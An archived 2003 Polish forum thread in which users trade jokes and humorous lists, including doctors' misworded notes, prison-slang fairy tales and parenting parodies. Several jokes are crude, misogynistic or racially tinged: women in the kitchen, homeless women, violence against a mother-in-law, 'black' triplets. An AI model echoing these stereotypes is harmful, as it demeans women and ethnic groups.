- A wiesz wczoraj w nocy coś się z nią stało. Najpierw zakukała cztery razy, potem zaklęła siarczyście, potem znów zakukała trzy razy, zaczęła się śmiać, znów zakukała trzy razy, dostała czkawki, po czy dokukała dwa razy, beknęła, zarzygała buty, i poszła spać : )))

Aston - 26-07-2003, 03:18

:wave:

Coraz lepsze te... kawaly.. :) :) :dance: :bobo:
Chwilami padam... :) :) :multi: :humor:



Spotkanie USA - RP na najwyzszym szczeblu. Pr. Kwa. pyta:

- Panie Prezydencie, jaka jest u Was srednia zarobkow?

- Panie Pr., amerykanin zarabia ok. 3000 USD miesiecznie. Z tego 500$ na mieszkanie, 500$ na zycie, 500$ na rozrywke, 500$ na kredyty za auto lub lodowke, o pozostaly 1000$ Rzad nie pyta! A jak jest u was, Panie Pr.?

- Panie Prezydencie, polak zarabia ok. 1000 PLN miesiecznie, z czego na mieszkanie wydaje 1000 zl, na zycie 1000 zl, na rozrywke 1000 zl, 1000 zl na kredyty za auto albo lodowke.

- Panie Pr.! A skad polak bierze te 3000 zl?!

- Panie Prezydencie! Rzad o to nie pyta! :trawa: :spoko: :ban:

Pozdrawiam!
:wave: :wave:

MArcin M. - 26-07-2003, 15:45

To może jeszcze jeden kawałeczek ; )))

Pewien mieszczuch wybrał się na wczasy - na wieś. W niedzielę, nudziło
mu się nieco, więc przeszedł się po wsi. Natknął się na gospodarstwo,
w którym zobaczył w zagrodzie świnkę z jedną drewnianą nogą. Zaintrygowało go to do tego stopnia, że odszukał gospodarza i pyta:
- Gospodarzu a dlaczego ta świnka ma jedna nogę drewnianą?
- Aaa, ja panu zaraz wszystko opowiem jak to było. To było dwa lata temu. Nie! Trzy lata temu. U nas była powódź, wszystko zaczęło pływać, a myśmy spali. Ale świnka, świnka proszę pana wiedziała, co nam grozi. Przeskoczyła swoją zagródkę, podpłynęła do chaty, obudziła nas i myśmy się uratowali, gdyby nie ona...
- Dobrze, dobrze, ale dlaczego ona ma nogę drewniana?
- Aaa, ja jeszcze nie skończyłem. Jak już mówiłem świnka przeskoczyła
swoja zagródkę i wyciągnęła mnie spod palącej się belki. Ja wyciągnąłem rodzinę, inwentarz....
- No dobrze, ale dlaczego ta świnka ma nogę jedną drewnianą?
- Aaa, ja już panu wszystko opowiem jak to było. To było chyba zeszłego lata. Nas napadli zbójcy. Związali nas, i pieniędzy chcieli. A przecież my pieniędzy nie mamy. Ale świnka, świnka wiedziała co nam grozi. Przeskoczyła swoją zagrodę, spłoszyła zbójców....
- Proooszę pana... Opowiada mi pan trzecią historię, a ja
chciałem tylko wiedzieć dlaczego ona ma jedną nogę drewnianą?
- A pan by zjadł taką kochaną świnkę od razu????

MArcin M. - 26-07-2003, 15:48

Człowiek złowił złotą rybkę i zamierza ją wypuścić.
- Ależ ja jestem złotą rybką!
- Ale ja nic nie chcę od ciebie
- Jak to! A nie chciałbyś np... takiego luksusowego domu jak widać w oddali?
- Ale to jest właśnie mój dom
- A takiego mercedesa który tam stoi?
- Ale to też jest mój samochód
- A co z seksem? Ile razy w tygodniu to robisz?
- 2 - 3 razy
- No właśnie!! A niechciałbyś codziennie?
- Nieeee, Księdzu to nie bardzo wypada!

:razz: :razz: ;-)

MArcin M. - 26-07-2003, 15:51

Tak mnie naszło, to może jeszcze jeden : )
Babeczka chce kupić zająca na targu. Przekupka podaje jej piękną sztukę.
Klientka wybrzydza:
- Eeee, ten na pewno ma za dużo śrutu!
- To niech pani weźmie tego. Ten podciął sobie żyły.
;-)

ukusek - 26-07-2003, 18:19

Pewien rycerz miał bardzo szpetną żonę.
Gdy przyszło mu wyruszyć na wyprawę krzyżową,
założył żonie pas cnoty, wsiadł na konia i pojechał.
W pewnym momencie giermek, który szedł obok mówi:
- Panie chyba niepotrzebnie zakładaliście ten pas cnoty.
- Potrzebnie, potrzebnie... Jak wrócę to powiem, że kluczyk zgubiłem.


Pewien rozjuszony mężczyzna wpada z dubeltówką do niewiernej żony,
która leży w łóżku z kochankiem. Wyrzuca gacha z pościeli,
grożąc mu odstrzeleniem jąder. Kochanek pada na kolana i błaga o litość:
-Proszę, nie, wybacz mi, daj mi szansę.
-Dobrze - odpowiada spokojnie ślubny małżonek,
po czym unosi strzelbę i mierzy w jądra amanta. - No, dalej, rozhuśtaj je

Pewien faraon wezwał swojego pisarza i zaczął mu dyktować.
Pisarz natychmiast przypadł do kamiennej tablicy z młotkiem i dłutem.
- Mam wielkie plany - rzekł wolno faraon - powołania wspaniałej
armii...silnych...mężnych...i męskich... młodzieńców...
Pisarz odłożył dłuto i spojrzał na faraona.
- Proszę mi wybaczyć. Wasza Wysokość...
- O co chodzi ? - zniecierpliwił się faraon.
- Nie wiem, jak napisać "męski", Wasza Wysokość. Z jednym jądrem czy z dwoma??

W pewnej rodzince był taki zwyczaj, że rodzice co dwa, trzy dni wyjeżdżali
do znajomych na noc, więc jedyny syn miał całą chatę wolną przez cały wieczór i noc.
Skwapliwie z tego korzystał sprowadzając swoją dziewczynę i pozwalając
sobie na nieprzyzwoite figle. Pewnego pięknego dnia znajomych nie było w domu i rodzice z kwitkiem wrócili z powrotem przyłapując młodych (jak ktoś to ładnie ujął "in figlanti".
Chłopak przyłapany na "gorącym" uczynku pomyślał sobie :
- O, cholera, mam za niedługo maturę, miałem dostać samochód,
uważali mnie za takiego porządnego, a tu co ? A trudno.
Dziewczyna sobie myśli:
- Aj, miało być fajnie, miał mnie przedstawić rodzicom,
miało być milo, kolacja itp., a tu mnie jak ostatnia k*.*ę poznali.
Ojciec sobie myśli:
- Moja krew ! Dobrze synku, dobrze, całkiem niezła d*.* !
A serce matki:
- Jak ta głupia nogi trzyma ! Przecież mu niewygodnie !

W szpitalu lekarz pyta się zmartwionej matki.
- Czemu się pani martwi! Urodziła pani ślicznego, zdrowego synka.
- Ależ panie doktorze, on jest rudy! Mój maź od razu się pozna, że to nie
jego dziecko.
- Niech się pani nie martwi, ja się tym zajmę.
Lekarz pyta męża.
- Jak często współżyje pan z żoną?
- Co tydzień...
- Proszę nie żartować
- No dobrze, co miesiąc!
- Proszę pana. Jestem lekarzem i naprawdę znam te sprawy. Proszę być ze mną szczerym.
- No dobrze!!! Raz na pół roku!
- To idź pan teraz zobacz coś tym zardzewiałym przyrządem zmajstrował.

MArcin M. - 27-07-2003, 10:38

Dwaj kumple spotykają się w barze:
- Stary, na parkingu stoi mój samochód a w środku nimfomanka tak napalona, że ja już nie mam sił z nią baraszkować. Światło w moim samochodzie nie działa, więc idź tam, ona nawet nie pozna, że to kto inny, a ty sobie poużywasz.
Kolega posłuchał jego rady, poszedł do samochodu i rzeczywiście - po paru minutach baraszkował w najlepsze z tajemniczą nimfomanką na tylnym siedzeniu samochodu. Nagle rozległo się energiczne pukanie w szybę. Policjant świecąc latarką do środka wozu upomniał kochanków:
- Czy wiedzą państwu, że nie wolno tego robić w miejscu publicznym?!
- Panie władzo, ale to moja żona - odpowiedział facet.
- Ach, to co innego. Przepraszam, nie wiedziałem - odrzekł policjant.
- Prawdę mówiąc ja też nie, dopóki pan nie zaświecił.

**********

Skacowany facet budzi się w wyrku, rozgląda.... obok niego na łóżku leży jakaś kobitka. Przygląda się jej i kurka nic z wczorajszego(?) wieczoru nie pamięta. Zagaduje więc:
- My się chyba znamy?....
Ona do niego:
- No myślę....w końcu jesteśmy już 15 lat po ślubie

**********

Facet idzie do łóżka z kobietą o nad wyraz rubensowskich kształtach.
- Czy mógłbym zgasić górne światło?
- A cooo? Taki chłopczyk nieśmiały?
- Nie, oparzyłem się w tyłek...

**********

Kowalski wpada do szpitala, bo jego żona rodzi. Widzi położną i pyta:
- No i jak?
- Ma pan trojaczki. - Kowalski strasznie dumny:
- Ma się rurę, co!?
- Może i ma, ale trzeba by ją przeczyścić, bo wszystkie czarne......

ukusek - 27-07-2003, 17:10

Facet spaceruje po Central Parku w Nowym Jorku. Nagle spostrzega pitbula atakującego małą dziewczynkę. Biegnie co sił do psa, walczy z bestią. Po kilku minutach pies leży pokonany, a dziewczynka jest już bezpieczna. Wtedy podchodzi policjant obserwujący zajście:
- Jest pan bohaterem, już widzę tytuły jutrzejszych dzienników: "Bohaterski nowojorczyk ocalił dziewczynkę".
- Ale ja nie jestem z Nowego Jorku - odpowiada mężczyzna.
- Więc napiszą: "Bohaterski Amerykanin ocalił dziewczynkę".
- Niestety, nie jestem Amerykaninem - odpowiada smutnym głosem mężczyzna.
- A skąd przybywasz? - pyta policjant.
- Jestem Pakistańczykiem.
Nazajutrz nowojorskie gazety pisały: "Islamski ekstremista zamordował amerykańskiego psa. Sprawa może być częścią zorganizowanej akcji terrorystycznej".

scubamilivoj - 28-07-2003, 10:38
Temat postu: bajeczka?
Zona do meza:
- Zobacz ja musze prac, prasowac, sprzatac, nigdzie nie moge wyjs´c´,
czuje sie jak kopciuszek .
Maz na to: - a nie mowiem, że ze mna
bedzie ci jak w bajce?

scubamilivoj - 28-07-2003, 10:39
Temat postu: górolskie drinki
Cala sprawa dzieje sie w górach. Turysta przychodzi
do baru, siada
przy barze i pyta:
- "Barman, co polecisz do picia?"
Barman - "Ano, panocku drink Góra cy"
Turysta - "Jak to 'góra cy'?!"
Barman - "Widzi pan, bierzemy sklanecke wina...no
dwie...góra cy i
wlewamy do garnka. Pozniej bierzemy sklanecke
piwa....no
dwie....góra cy
i wlewamy do tego samego garnka. Nastepnie sklanecke
wódecki...
dwie...
no
góra cy i wlewamy to tegoz samego garnecka. Na
koniec bierzemy
sklanecke koniacku....no dwie... góra cy i wlewamy do
garnka. Garnek
stawiamy na
ogniu i miesajac gzejemy cas jakiz. Pózniej nalewamy
i pijemy
klanecke....dwie...no góra cy. Po wypiciu
wstajemy... robimy
krocek.... dwa... no góra cy".

scubamilivoj - 28-07-2003, 10:39
Temat postu: studencki alfons
Na egzamin z logiki studentka przyszła bardzo wydekoltowana i w mini. Myślała,że pójdzie jej jak z płatka. Weszła do sali, profesor zadał jej kolejno trzy pytania, na które nie znała oczywiście odpowiedzi. Wdzięczyła się za to strasznie,więc w końcu zdenerwowany profesor wpisał jej dwóję i wywalił za drzwi. Na korytarzu kumple od razu pytają jak poszło. Ona na to:

- Ten alfons wpisał mi dwóję !

Profesor usłyszał to przez uchylone drzwi, wybiegł na korytarz i poprosił ją o indeks. Przepisał ocenę na trzy i powiedział:

- Może i ja jestem alfons, ale o swoje kurwy dbam !

MArcin M. - 28-07-2003, 17:49

Dobre, dobre.
Dorzucę w takim razie coś znowu:

Wchodzi Eskimos do knajpy i zamawia whisky. Barman pyta:
- Z lodem?
- A pi****lnąć Ci?

**********

W pierwszej klasie podstawowej, podczas biologii, pani się pyta dzieci:
- Jakie dźwięki wydaje krowa??
Małgosia podnosi rękę:
- Muuuu, proszę pani.
- Bardzo dobrze Gosiu. A jaki odgłos wydają koty?
Grześ podnosi rękę.
- Miałłłł, proszę pani.
- Bardzo dobrze, Grzesiu!! Bardzo dobrze. A jaki dźwięk wydają psy??
Jasiu ochoczo podnosi rękę.
- No Jasiu powiedz - zachęca pani.
- Ręce do góry sk****synu!!!

MArcin M. - 30-07-2003, 19:16

Ostra zima w lesie, wszystkie zwierzaki pouciekały, albo wyzdychały z zimna, został tylko lis, wilk niedźwiedź i łoś. No ale po jakimś czasie głód zajrzał im w oczy, więc niedźwiedź namawia pozostałe drapieżniki:
- Panowie, sprawa jest taka , że trza by wszamać łosia. No ale sami wiecie, w sumie to tak głupio, w końcu kumpel. Lis, idź do niego i pogadaj z nim w tej kwestii.
Lis poszedł. Zagaduje łosia, że głód, że trzeba się poświecić i tego typu milleryzmy. Łoś głupi nie był, skumał czaczę i odpowiada:
- Spoko lis, nie ma sprawy, możecie mnie wtrząchnąć, ale mam jedną prośbę: Otóż żona mi kiedyś mówiła że mam z tyłu na jajach jakiś zajebisty napis. Luknij i przeczytaj co tam jest, bo ja nie widzę.
Lis zaszedł z tyłu, schylił się , gapi się na te jajka a łoś go JEB! Z kopyta w ryja. Lis sztywny.
Po jakimś czasie misiek z wilkiem zniecierpliwili się niespodziewanym opóźnieniem lisa, padła kolej na wilka, co by poszedł ponegocjować z łosiem. Sytuacja się powtórzyła, wilk dostał w pysk i padł trupem.
W końcu niedźwiedź poszedł do łosia, znów ta sama gadka-szmatka, niedźwiedź ogląda jajca łosia, łoś go JEB !! Z dwóch kopyt w ryj. Niedźwiedź odleciał do tyłu, ale wstaje i trzymając się oburącz za pokrwawiona mordę jęczy:
- I po kiego ch*ja ja się schylałem ? Przecież ja nawet czytać nie umiem ...

martin - 03-08-2003, 12:47

Po morzu czerwonym plynie statek z nurkami. Na pokladzie sielanka, nurkowie opalaja sie, drzemia w sloncu, rozmawiaja. Nagle kapitan melduje, ze statek zaczyn tonac i najpuzniej za 30 min bedzie na dnie. Instruktor CMAS do swoich podopieczny:

-Skaldamy szybciutko sprzet, pompujemy kamizelki i do wody....

Instruktor PADI do swoich podopieczynch:

- Macie dzisiaj wielkie szczescie. Za jedyne 100US$ mozecie zrobic specjalizacje wrakowa...

scubamilivoj - 03-08-2003, 14:06
Temat postu: Wypisy z dokumentacji szpitalnej-boki zrywać
Wypisy z dokumentacji szpitalnej
> *************************************************
> 1. Pacjent ma dwoje nastoletnich dzieci, lecz poza tym nie wykazuje
objawów
> choroby psychicznej.
> 2. Pacjent uskarza sie na ból w klatce piersiowej po osmiu miesiacach
> lezenia na lewym boku.
> 3.Podczas badania kolano bylo zaczerwienione i obrzekniete, a na drugi
> dzien zniknelo.
> 4. Pacjentka nieustannie szlocha i placze, wyglada także nieco
> depresyjnie.
> 5. Pacjentka cierpi na depresje od czasu pierwszej wizyty u mnie w 1996.
> 7. Wygladajacy zdrowo zgrzybialy 70-letni mezczyzna, wysoce sprawny
> umyslowo, zaawansowany Alzheimer.
> 8. Pacjent odmówil sekcji.
> 9. Denat twierdzi ze nie mial poprzednich historii samobójstw.
> 10. Pacjent twierdzi, ze biale krwinki zostawil do badania w innym
> szpitalu.
> 11. Historia medyczna pacjenta wyglada zdumiewajaco dobrze, przybral
> jedynie na wadze 20 kg w ciagu trzech ostatnich dni.
> 12. Pacjent mial na sniadanie kanapki, a po poludniu anoreksje.
> 13. Notatka z konsultacji: Tak miedzy nami mówiac, powinno nam sie udac
> zaplodnic te pacjentke.
> 15. Pacjent nie ma czucia od palców stóp w dól.
> 16. Przebywajac na intensywnej terapii pacjentka zostala przebadana,
> przeswietlona i wyslana do domu.
> 17 .Skóra pacjenta pozostala sucha i wilgotna.
> 18. Pacjent uskarza sie na okazjonalne, ciagle i nieprzerwane bóle glowy.
> 19. Pacjent wykazywal pelna przytomnosc i wspólprace i nie odpowiadal na
> pytania.
> 20. Pacjentka stwierdzila ze na zatwardzenie cierpiala przez wiekszosc
> zycia do momentu rozwodu.
> 21. Badanie rektalne (analne) ujawnilo powiekszona tarczyce.
> 22. Obie piersi sa równe i reaguja na swiatlo.
> 23. Badanie genitaliów wykazalo, ze pacjent był pochodzenia zydowskiego,
> poniewaz byl oberzniety.
> 24. Skóra: nieco blada, ale obecna.
> 25. Badanie bioder wykonano pacjentce wieczorem w lózku.

Zboj - 04-08-2003, 16:40

Mąż spedza wieczór u kochanki, ale przychodzi czas powrotu do domu. Przed wyjściem jeszcze strzelił sobie setę dla kurażu i pojawia się przed drzwiami frontowymi. Otwiera je, a tam żona juz na niego czeka i takie słowa rzecze:
"Myslisz, że jak sie spryskasz jakimiś babskimi perfumami to nie poznam, że piłeś :?: "

Przeman - 05-08-2003, 13:02

Pewien facet cierpiał na zaniki pamięci. Pewnego dnia, gdy przyszli do niego goście, zaczął opowiadać, że teraz leczy się u bardzo dobrego lekarza.
Przyjaciele zapytali więc, jak ów medyk się nazywa:
- No właśnie, miałem na końcu języka... Pamiętacie może, był taki grecki
poeta, w starożytności, taki ślepy...
- No był, Homer. Ten lekarz ma na nazwisko Homer?
- Nie, nie! On napisał taka epopeję, o tym jak Grecy się tłukli pod takim
miastem, które próbowali zdobyć...
- No tak, zdobywali Troję. To co, ten lekarz się jakoś podobnie nazywa? Albo
mieszka na takiej ulicy?
- Nie, nie, nie! Tam był taki wódz tych, no, Greków, taki główny...
- Agamemnon?
- O! No i on miał brata...
- Menelaosa. Ale co to ma wspólnego z lekarzem?
- Zaraz mówię. I tam był taki wódz trojański, który temu Mene... jak mu tam,
uprowadził żonę.
- Aaaa, Parys! Ten lekarz nazywa się Parys?
- eee! Ta żona, co on ją uprowadził, to jak miała na imię?
- Helena.
- Właśnie, Helena! Helenkaaa - woła do żony myjącej w kuchni naczynia -
Jak się nazywa ten mój lekarz?

Zboj - 05-08-2003, 18:00

Siedzi sobie smutny staruszek na ławeczce w parku. Przysiada sie do nigo gościu i pyta czemu jest smutny. Na to staruszek:
-Mam 70 lat, moja żona ma 24 lata i jest miss Playboya, kochamy się codziennie 5 razy, mam willę z basenem i 2000 hektarów ogrodu, mam merca, ferrari, rolsa i jeszcze kilka samochodów no i mam na koncie 6 miliardów dolarów
- Panie, to czemu jesteś smutny :?:
- Bo zapomniałem gdzie mieszkam :!:

t0m1 - 05-08-2003, 18:09

Dwaj mężczyźni rozmawiają:
- Na co umarła twoja teściowa?
- Zatruła się grzybami.
- To dlaczego miała wszystkie zęby powybijane?
- Bo j@#$na żreć nie chciała!!!



Rozmawiają dwie prostytutki:
-Kupilam sobie skunksa.
-Skunksa ? A dlaczego ?
-Zajebiscie robi minete.
-A co ze smrodem ?
-Dwa dni rzygal a potem sie przyzwyczail....

Pedro - 07-08-2003, 13:09

scubamilivoj napisał/a:
Mania napisał/a:

Niezapomniana trójka czeskich hokejowych napastników: - Popil, Poruhal a Smutny...


dawno tego nie słyszałem, a jest to przepiękne!
Dzięki Maniu!

Ja znałem tych hokeistów w wersji:
Naskoczil, Nasmrodil a Smutny...

Zboj - 07-08-2003, 23:48

Teściowa suszy głowę zięciowi
- Chciała bym być pochowana na Powązkach!
- Mamusiu, ale kryptę mamy na Wólce.
- Ale ja chciała bym na Powązkach!
tak przez pewien czas dyskutują, aż w końcu zięć nie wytrzymuje i wychodzi z domu. Wraca po 4 godzinach i mówi
- Mamusiu! Mam świetną nowinę. Jest miejsce na Powązkach! Ale Mamusia musi na jutro być gotowa. :mrgreen:

MArcin M. - 10-08-2003, 19:28

- Dlaczego kac jest lepszy niż kobieta?
- Kac Cię w końcu opuści.

- Co jest najlepsze w umawianiu się z bezdomną kobietą?
- Możesz w każdej chwili wysadzić ją z samochodu i nie musisz odprowadzać.

- Dlaczego Panna młoda ubiera się na biało?
- Czyż nie wszystkie stroje kuchenne są białe?

MArcin M. - 10-08-2003, 19:29

Czy pamiętasz, że dzisiaj w nocy uciekamy przed twoimi rodzicami? - pyta chłopak dziewczyny.
- Tak, mama nawet pomogła mi się spakować!

* * *

Nagrobek, który postawił swojej żonie pewnien wdowiec niepocieszony:
"Łzy moje nie wskrzeszą cię. Dlatego płaczę"

* * *

Reżyser na próbie do aktora:
- Panie kolego! W tę scenę śmierci trzeba włożyć więcej życia!

* * *

Rozmawiają dwie blondynki:
- Wiesz, po ostatniej ciąży preferuję bezpieczny seks... Jak się kocham w aucie, to nawet pasy zapinam!!!

* * *

- Jak się nazywa polski haker o światowej sławie (aferzysty)?
- Ryvin Michnick.

MArcin M. - 10-08-2003, 19:31

- Dlaczego dysleksja może utrudnić stosunek??
- Bo ktoś mógłby próbować 96 zamiast 69
* * *
- To skandal! - krzyczy żona - Znowu przychodzisz do domu o trzeciej nad ranem.
- Bo ja prowadzę... regularny tryb życia...
* * *
Facet wychodzi z toalety na polu golfowym cały uśmiechnięty. Zagaduje do niego inny golfiarz:
- Co, lepiej?
- O niebo lepiej. Jedyne miejsce na tym pieprzonym polu, gdzie nikt nie kazał mi zmienić pozycji ani poprawić uchwytu!
* * *
- Dziadku, dziadku, chodź na chwilę. Masz tutaj kalendarz, możesz go kopnąć?
- A po co mam go kopać, wnusiu?
- Bo mama powiedziała, że dostanę nowy rower dopiero jak dziadek kopnie w kalendarz.
* * *
Nauczycielka fizyki chce wyjaśnić uczniom pojęcie ciepła:
- Złóżcie dłonie i pocierajcie jedną o drugą. Co się teraz dzieje?
- Robią się takie czarne okruszki! - stwierdza Jasiu

MArcin M. - 10-08-2003, 19:32

I jeszcze mała porcyjka :razz:

Bezrobotny zgłasza się do kadr jednej z firm:
- Dzień dobry, szukam pracy, słyszałem, że poszukujecie nowego księgowego.
- Starego również...

* * *

U dentysty. Lekarz pyta pacjenta:
- Czy chce Pan miejscowe znieczulenie?
- Eee, tam - macha ręką pacjent - Tylko bez oszczędności. Daj Pan coś importowanego.

* * *

- Mamo, mamo, mam już 16 lat, czy mogę zacząć nosić stanik?
- Nie zawracaj mamie głowy, Jasiu.

* * *

Przyszedł ksiądz z kolędą. Po modlitwie i poświeceniu domu zwrócił się do małej dziewczynki:
- Umiesz się żegnać, dziecko?
- Umiem. Do widzenia.

MArcin M. - 10-08-2003, 19:36

Córeczka pyta mamy:
- Co to jest impotencja ?
- Hmmm....widzisz .... to jest tak jakbyś chciała grać ugotowanym makaronem w bierki ....

* * *

Pani w szkole kazała napisać wypracowanie ze słowem "prawdopodobnie". Jaś napisał:
"Ojciec wziął gazetę i poszedł do kibla. Prawdopodobnie będzie srał bo czytać nie umie"

Slawek O - 13-08-2003, 11:17

To moze i ja cos dorzuce :)

Siedzi mala dziewczynka na lawce w parku i nagle krzyczy: ku*** mac. Obok przechodzila starsza pani i slyszac dziewczynke podchodzi do niej i pyta sie dlaczego tak brzydko sie wyraza. Na to dziewczynka, zeby usiadla obok niej a ona jej powie co sie stalo. Gdy babcia uslyszala co dziewczynka miala do powiedzenia sama glosno ryknela: KU*** MAC. Obok przechodzil starszy pan i slyszac karygodne zachowanie babci oburzyl sie wielce. Babcia poprosila go aby usiadl obok niej i powiedziala mu cos cichutko. Na to dziadek zerwal sie z lawki i wrzasnal: KU*** MAC. Pytanie: Co powiedziala dziewczynka babci a babcia dziadkowi? Odpowiedz: lawka jest swiezo malowana.

Kuba - 20-08-2003, 11:29

Młoda dziewczyna wchodzi do salonu z ekskluzywnymi samochodami. Spogląda dookoła: Porsche, Lamborghini, Ferrari, Jaguary etc. Dziewczyna decyduje się na Jaguara, płaci gotówką i odjeżdża wozem.
Dwa dni później wraca.
- Chcę moje pieniądze z powrotem... Coś strasznie śmierdzi, kiedy
używam hamulców! - stwierdza z naciskiem w głosie.
Sprzedawca nie chce stracić klienta i swojej prowizji od sprzedaży.
Wsiada do samochodu obok kobiety, by sprawdzić o co chodzi.
Ledwo wsiedli do samochodu, kobieta nacisnęła gaz do dechy. Samochód
ruszył z piskiem opon. Pęd wtłoczył sprzedawcę w fotel, tak że nie mógł
się ruszyć. Jedynka, dwójka, trójka... biegi przeskakiwały jak szalone. Po
czterech sekundach mknęli już 120 km/h.
Wtedy kobieta skręcił a w polną drogę i naprawdę zaczęła przyspieszać.
Czwórka, piątka... szóstka. Samochód wąską dróżką pędził już 320 km/h.
Silnik ryczał jak oszalały. Za oknami krajobraz zlewał się w jedną
zieloną masę. Sprzedawca kurczowo trzymający się pasów, skurczony,
wciśnięty w fotel dostrzegł> nagle w oddali opuszczone szlabany na
przejeździe kolejowym i odetchnął z ulgą. Przypuszczał, że kobieta również je widzi i zaraz zwolni, a on będzie mógł wysiąść z samochodu. Z
narastającym zdziwieniem obserwował jak samochód z niezmienną prędkością mknie prosto na zamknię ty przejazd pod koła rozpędzonego pociągu. Dopiero 40 m przed przejazdem kobieta zwalnia pedał gazu i z całą siłą naciska na hamulec jednocześ nie zaciągając hamulec ręczny. Samochód dosłownie milimetry zatrzymuje się przed szlabanem. Dziewczyna szybko odwraca się do sprzedawcy i pyta:
- O, właśnie! Czuje pan???!!!
- Czy czuję?? - odzywa się blady sprzedawca - JA W TYM SIEDZĘ !!!

pozdrawiam
Kuba


disclaimer: poyzszy tekst nie powinien byc w zadnym wypadku kojarzony z Victoria z ktora bylam na ostatnim wyjezdzie. ona jest grzeczna :lol: :lol: :lol:

Kuba - 20-08-2003, 11:36

Dziesięć rzeczy, które wie mężczyzna na temat kobiet
1.

2.

3.

4.

5.

6.

7.

8.

9.

10. Mają piersi.

#############

Przyjemny hotelik z jeszcze przyjemniejszą kafejką. Wpada dwójka nieco zmarzniętych osób i oddają do szatni swoje wierzchnie okrycia. Szatniarz z promiennym uśmiechem na twarzy pyta:
- Na jeden numerek?
- Nie nie, my na kawę....


Kuba

Miłosz - 20-08-2003, 11:46

Czerwony kapturek spisany gwarą więzienną
--------------------------------------------------------


Dygała krasnaja kaniła przez las na chawirkę do babki Jareckiej.
Taschała ze sobą półbańki maryśki i słomiaka szpachlówy.
Przylukał ją git wilk multirecydywa. Trzmychnął za drapaka i taki jej
bajer wali:
-Gdzie się bujasz, lala?
-Ano stary wapniak wypchnął mnie z kwadrata abym Jareckiej szamańska
zatachała.
Wilk oblukał kaniołę szpulasa po sitwie na chawirę, obszamał Jarecką,
a fee się na kojo i komarunek świruje.
Wtem wchodzi Czerwonka.
-Babciu, kto Ci takie gały obsztalował?
-A żebym lepiej mogła filować!
Obszamał Czerwonkę i dalej komaruje.

Wtem wchodzi Gajowy z giwerą na ramieniu, a fee wilkowi fest
sznyta na samarze wydobył Jarecką i Czerwonkę i razem batłącha
obalili.

Miłosz - 20-08-2003, 11:48

Dla wszystkich przyszłych i zielonych rodziców...
---------------------------------------------------------------

Temat: dla wszystkich rodziców teoretycznych ku przestrodze, dla faktycznych
w celu weryfikacji rzeczywistości: zapomnij o poradnikach na temat
wychowywania dzieci i przestań bujać w obłokach. Oto dziewięć sposobów na
sprawdzenie, czy jesteś już gotowy zostać dobrym rodzicem:

1. Kobiety (aby przygotować się do macierzyństwa): włóż szlafrok i przymocuj
na brzuchu worek z grochem. Trzymaj go tam przez 9 miesięcy. Po tym czasie
wyjmij z worka 10 procent grochu. Mężczyźni: aby przygotować się do
ojcostwa, pójdź do najbliższej apteki, wyłóż całą zawartość portfela na ladę
i oddaj aptekarzowi. Następnie pójdź do supermarketu i załatw, by cała Twoja
pensja była co miesiąc przelewana bezpośrednio na konto sklepu.

2. Aby przekonać się, jak będą wyglądały Twoje noce, powinieneś chodzić po
pokoju od 5-tej po południu do 10-tej wieczorem, nosząc mokry tobołek o
wadze około 5-ciu kilogramów. O 10-tej wieczorem odłóż tobołek, nastaw
budzik na północ i idź spać. O północy wstań i choć po pokoju z tobołkiem na
rękach do godziny pierwszej. Nastaw budzik na trzecią rano. Ponieważ nie
możesz zasnąć, wstań o drugiej i weź sobie coś do picia. Wróć do łóżka o
2.45. Wstań, gdy budzik za dzwoni o trzeciej. Śpiewaj piosenki przy
zgaszonym świetle do godziny 4-tej. Ustaw budzik na piątą. Wstań. Zrób
śniadanie. Postępuj tak przez 5 lat. Sprawiaj wrażenie zadowolonego z życia.

3. Wydrąż melon, robiąc mu z boku mały otwór o średnicy piłeczki
pingpongowej. Zawieś na sznurku u sufitu i rozbujaj. Weź miseczkę wodnistej
papki i spróbuj za pomocą łyżeczki przełożyć jej połowę do wnętrza
bujającego się melona, udając przy tym, ze jesteś samolotem. Drugą połowę
papki wylej sobie na kolana. Jesteś już gotów karmić roczne niemowlę. Aby
przygotować się na karmienie raczkującego dziecka, rozsmaruj dżem na kanapie
i wszystkich zasłonach. Ukryj paluszek rybny za szafą i zostaw go tam na
parę miesięcy.

4. Ubieranie maluchów nie jest wcale takie łatwe, jak się wydaje. Kup
ośmiornicę i siatkową torbę. Spróbuj włożyć ośmiornicę do torby tak, by
żadne jej ramie nie wystawało na zewnątrz. Czas przeznaczony na to zadanie:
całe przedpołudnie.

5. Przygotuj się do wyjścia rano z domu. Czekaj pół godziny przed drzwiami
do ubikacji. Wyjdź z domu. Wróć. Wyjdź ponownie. Wróć. Wyjdź i odejdź
kilkanaście metrów od domu. Wróć. Wyjdź i oddalaj się bardzo powoli. Po
drodze zatrzymuj się, by dokładnie przyjrzeć się każdemu niedopałkowi na
chodniku, każdej gumie do żucia, każdemu papierkowi i każdemu martwemu
owadowi. Wróć pod dom. Krzycz głośno, ze masz już tego wszystkiego dosyć, aż
sąsiedzi staną w oknach i z zaciekawieniem zaczną się na Ciebie gapić. Teraz
jesteś już gotów, by zabrać swojego malucha na spacer.

6. Pójdź do supermarketu, zabierając ze sobą cokolwiek, co przypomina
dziecko w wieku przedszkolnym. Najlepiej nadaje się do tego dorosły kozioł.
Jeśli chciałbyś mięć więcej niż jedno dziecko, weź ze sobą kilka kozłów.
Zrób sprawunki na cały tydzień, nie spuszczając ich z oczu ani na chwilę.
Zapłać za wszystko, co kozły zjedzą lub zniszczą.

7. Naucz się na pamięć imion bohaterów dobranocek. Kiedy zorientujesz się,
ze śpiewasz podczas kąpieli "Ja jestem pan Tik-Tak", jesteś gotów, by zostać
rodzicem.

8. Pamiętaj, aby wszystko to, co mówisz, powtarzać przynajmniej pięć razy.

9. Zanim dorobisz się potomstwa poszukaj ludzi, którzy maja już dzieci.
Krytykuj ich bezustannie za brak konsekwencji i cierpliwości, za to, ze nie
uczą swoich pociech dyscypliny i ze pozwalają im na wszystko. Doradzaj im
bez przerwy, co powinni zrobić, by dzieci wcześniej szły spać, jak maja
nauczyć je dobrych manier i zachowania przy stole. Ciesz się tym okresem.
Nigdy później nie będziesz już tak doskonałym ekspertem w wychowywaniu
dzieci.

kill - 21-08-2003, 17:58

To i ja dorzuce troche :lol:

